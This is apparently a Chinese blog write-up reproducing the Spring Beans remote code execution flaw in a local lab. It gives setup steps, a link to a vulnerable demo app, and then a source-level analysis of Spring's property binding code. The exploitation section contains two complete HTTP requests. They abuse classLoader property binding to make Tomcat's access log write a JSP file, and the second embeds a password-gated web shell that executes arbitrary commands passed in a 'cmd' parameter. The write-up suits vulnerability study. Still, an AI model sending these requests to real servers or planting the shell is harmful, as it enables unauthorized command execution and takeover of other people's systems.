Spring Beans RCE 复现
一、环境需求
JDK9及其以上版本;
使⽤了Spring-beans包;
使⽤了Spring参数绑定;
Spring参数绑定使⽤的是⾮基本参数类型,
二、环境搭建
https://www.o2oxy.cn/wp-content/uploads/2022/03/spring-RCE-.zip
直接解压使用IDEA 配合Tomcat 启动即可
三、漏洞利用
POST /news HTTP/1.1 Host: 192.168.66.101:8811 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 311 class.module.classLoader.resources.context.parent.pipeline.first.prefix=ddd2d&class.module.classLoader.resources.context.parent.pipeline.first.pattern=12&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
写入木马
POST /news HTTP/1.1 Host: 192.168.66.101:8811 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 suffix:%>// c1:Runtime c2:<% Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 670 class.module.classLoader.resources.context.parent.pipeline.first.prefix=ddd2d&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
四、漏洞分析
在绑定参数的地方打断点一步步跟进发现会从缓存中进行一个class 读取然后在
org.springframework.beans.AbstractNestablePropertyAccessor#processLocalProperty
protected BeanWrapperImpl.BeanPropertyHandler getLocalPropertyHandler(String propertyName) {
PropertyDescriptor pd = this.getCachedIntrospectionResults().getPropertyDescriptor(propertyName);
return pd != null ? new BeanWrapperImpl.BeanPropertyHandler(pd) : null;
}
这里应该是从缓存中直接获取到class 对象 processLocalProperty 进行一个修改。
private void processLocalProperty(AbstractNestablePropertyAccessor.PropertyTokenHolder tokens, PropertyValue pv) {
AbstractNestablePropertyAccessor.PropertyHandler ph = this.getLocalPropertyHandler(tokens.actualName);
if (ph != null && ph.isWritable()) {
Object oldValue = null;
PropertyChangeEvent propertyChangeEvent;
try {
Object originalValue = pv.getValue();
Object valueToApply = originalValue;
if (!Boolean.FALSE.equals(pv.conversionNecessary)) {
if (pv.isConverted()) {
valueToApply = pv.getConvertedValue();
} else {
if (this.isExtractOldValueForEditor() && ph.isReadable()) {
try {
oldValue = ph.getValue();
} catch (Exception var8) {
Exception ex = var8;
if (var8 instanceof PrivilegedActionException) {
ex = ((PrivilegedActionException)var8).getException();
}
if (logger.isDebugEnabled()) {
logger.debug("Could not read previous value of property '" + this.nestedPath + tokens.canonicalName + "'", ex);
}
}
}
valueToApply = this.convertForProperty(tokens.canonicalName, oldValue, originalValue, ph.toTypeDescriptor());
}
pv.getOriginalPropertyValue().conversionNecessary = valueToApply != originalValue;
}
ph.setValue(valueToApply);
} catch (TypeMismatchException var9) {
throw var9;
} catch (InvocationTargetException var10) {
propertyChangeEvent = new PropertyChangeEvent(this.getRootInstance(), this.nestedPath + tokens.canonicalName, oldValue, pv.getValue());
if (var10.getTargetException() instanceof ClassCastException) {
throw new TypeMismatchException(propertyChangeEvent, ph.getPropertyType(), var10.getTargetException());
} else {
Throwable cause = var10.getTargetException();
if (cause instanceof UndeclaredThrowableException) {
cause = cause.getCause();
}
throw new MethodInvocationException(propertyChangeEvent, cause);
}
} catch (Exception var11) {
propertyChangeEvent = new PropertyChangeEvent(this.getRootInstance(), this.nestedPath + tokens.canonicalName, oldValue, pv.getValue());
throw new MethodInvocationException(propertyChangeEvent, var11);
}
} else if (pv.isOptional()) {
if (logger.isDebugEnabled()) {
logger.debug("Ignoring optional value for property '" + tokens.actualName + "' - property not found on bean class [" + this.getRootClass().getName() + "]");
}
} else {
throw this.createNotWritablePropertyException(tokens.canonicalName);
}
}
参考:https://xz.aliyun.com/t/11129


